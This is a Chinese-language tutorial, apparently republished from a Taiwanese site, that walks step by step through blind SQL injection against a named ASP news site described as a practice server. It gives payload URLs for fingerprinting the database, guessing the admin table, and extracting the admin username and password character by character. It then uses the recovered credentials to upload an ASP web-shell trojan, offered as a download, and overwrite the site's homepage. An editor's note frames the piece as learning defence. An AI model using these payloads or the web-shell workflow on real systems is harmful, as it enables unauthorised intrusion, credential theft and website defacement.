前陣子麥當勞連續被黑事件引起了我的關注,想看看到底是怎麼回事。上網找了找資料,發現此類攻擊屬於典型的跨站式SQL注入。
由於相當大一部分程序員在編寫網頁程序代碼的時候,沒有對用戶輸入數據的合法性進行判斷,這就使整個網站都存在安全隱患。黑客可以提交一段數據庫查詢代碼,然後根據程序返回的結果,獲得他想要的數據,這就是所謂的SQL Injection,即SQL注入。
Step1:判斷是否存在漏洞
我們以cp.feedom.net網站為例來測試判斷。比如下面這兩個網址:
1.http://cp.feedom.net/detail.asp?n_id=348 and 1=1
2.http://cp.feedom.net/detail.asp?n_id=348 and 1=2
這就是經典的1=1、1=2測試法了。怎麼判斷呢?看看上面網址返回的結果就知道了,有注入漏洞的表現為:
1.正常顯示;
2.提示BOF或EOF(程序沒做任何判斷時)、或提示找不到記錄(判斷了rs.eof時)、或顯示內容為空。
Step2:判斷數據庫類型並確定注入方法
ASP最常搭配的數據庫是Access和SQLServer。怎麼讓程序告訴你網站使用的什麼數據庫呢?在IE中輸入http://cp.feedom.net/detail.asp?n_id=348 and user>0,返回的錯誤信息是JET就代表使用的是Access數據庫;返回的錯誤信息是OLE DB就代表使用的是SQLServer數據庫。tw.wINgwit.COM
Step3:猜解數據庫中你想得到的信息
根據注入參數類型,在腦海中重構SQL語句的原貌,上面這個例子的參數類型是:ID=348,這類注入的參數類型是數字型,SQL語句原貌大致如下:Select * from 表名 where 字段=348。
1.猜解數據庫中的表名
在地址欄中輸入http://cp.feedom.net/detail.asp?n_id=348 And (Select Count(*) from Admin)>=0,返回結果頁面正常,說明數據庫中存在admin表。
輸入http://cp.feedom.net/detail.asp?n_id=348 And (Select Count(admin) from Admin)>=0,通過類似上面指令的查詢,你會發現admin表中存在admin字段、password字段和a_id字段。
2.檢查ID是否存在
輸入http://cp.feedom.net/detail.asp?n_id=348 and exists (select a_id from admin where a_ID=1)。
實戰當中,如果返回的頁面不正常,就表示ID不存在,你就必須多花些時間猜解了。
Step4:猜解數據庫中的值
1.用戶名長度
已知表admin中存在username字段,我們取第一條記錄,測試長度:http://cp.feedom.net/detail.asp?n_id=348 and (select top 1 len(username) from Admin)>0。
如果top 1的username長度大於0,則條件成立;接著就是>1、>2這樣測試下去,一直到條件不成立為止。
1)http://cp.feedom.net/detail.asp?n_id=34
8 and (select top 1 len(admin) from Admin)>4
2)http://cp.feedom.net/detail.asp?n_id=34
8 and (select top 1 len(admin) from Admin)>5
第1條指令返回正常,第2條指令返回錯誤,說明該用戶名長度為5位。
2.猜解用戶名
用戶名長度知道了,現在我們要分析一下它的值。在得到username的長度後,用mid(username,N,1)截取第N位字符,再通過asc(mid(username,N,1))得到ASCII碼。
輸入http://cp.feedom.net/detail.asp?n_id=348 and exists (select a_id from admin where asc(mid(admin,1,1))=97 and a_ID=1),返回正常,表示用戶名的第一位值是a,如果不正常,大家對照ASCII碼表慢慢找吧,這兒的a的ASCII碼為97。
依此類推,最後出來的值為admin。
提示:如果你手頭並無ASCII碼表,你也可到http://www.bitscn.com/readme/ASC2.html去查尋對照。
3.猜解密碼長度
輸入http://cp.feedom.net/detail.asp?n_id=348 and exists (select a_id from admin where len(password)=8 and a_ID=1),原理同上面猜用戶名長度的一樣,我們猜到密碼的長度為8位。
4.猜解密碼值
輸入http://cp.feedom.net/detail.asp?n_id=348 and exists (select a_id from admin where asc(mid(password,1,1))=97 and a_ID=1),最後得出的密碼為:admin888。
相信你讀到這兒也挺累啦:)現在你該很清楚地了解了數據庫的結構吧,如圖1所示。
Step5:登錄管理後台並上傳ASP木馬
1.在http://cp.feedom.net網站找到管理登錄口,或直接輸入http://cp.feedom.net/m_login.asp,登錄後台管理頁面。
2.點擊添加新聞,選中“設為首頁圖片新聞”選項。
3.點擊上傳圖片,在彈出的對話框中選擇你的木馬,點擊“提交”即可上傳(ASP木馬下載:http://cp.feedom.net/muma.rar)。
注意:為了保障讀者能有一個良好的研究測試環境,筆者對該目錄進行了權限設定,不允許同名的文件覆蓋。也就是說,如果大家使用筆者提供的木馬程序,就可以不再上傳了(如果要上傳須改文件名)。當然“良駒”不止一匹,大家也可以上傳自己喜歡,操作順手的木馬程序。
Step6:利用ASP木馬替換網站首頁
現在我已上傳了一個木馬文件到uploadtest目錄,訪問:http://cp.feedom.net/uploadtest/muma.asp,密碼是admin888,點擊上面菜單的“Stream”,進入如圖2所示的畫面。
利用“查看”功能可以查閱服務器上的目錄架構以及文件情況,這個界面的最大功能是上傳文件到目標目錄。現在我上傳了一個index.htm文件保存為:D:\www\cp.feedom.net\ct\index.htm,CT這個目錄就是網站ct.feedom.net的根目錄,通過http://ct.feedom.net/index.htm可以檢查你上傳的文件是否成功。
注意:由於該服務器僅作為讀者練習使用,所以對它做了權限控制,你只能對/ct這個目錄進行寫操作。
編後:
只有了解了攻擊才能懂得如何去防守。根據本文介紹的方法,雖然大家可以感受一次攻擊的全部流程和方法,但是入侵攻擊的方法並不僅限於此。例如木馬的種類繁多,本文作者推薦的是一款極易上手的木馬程序,但還有很多木馬的威力更為強大,甚至可以完全控制一台主機。
From:http://tw.wingwit.com/Article/Network/201309/1047.html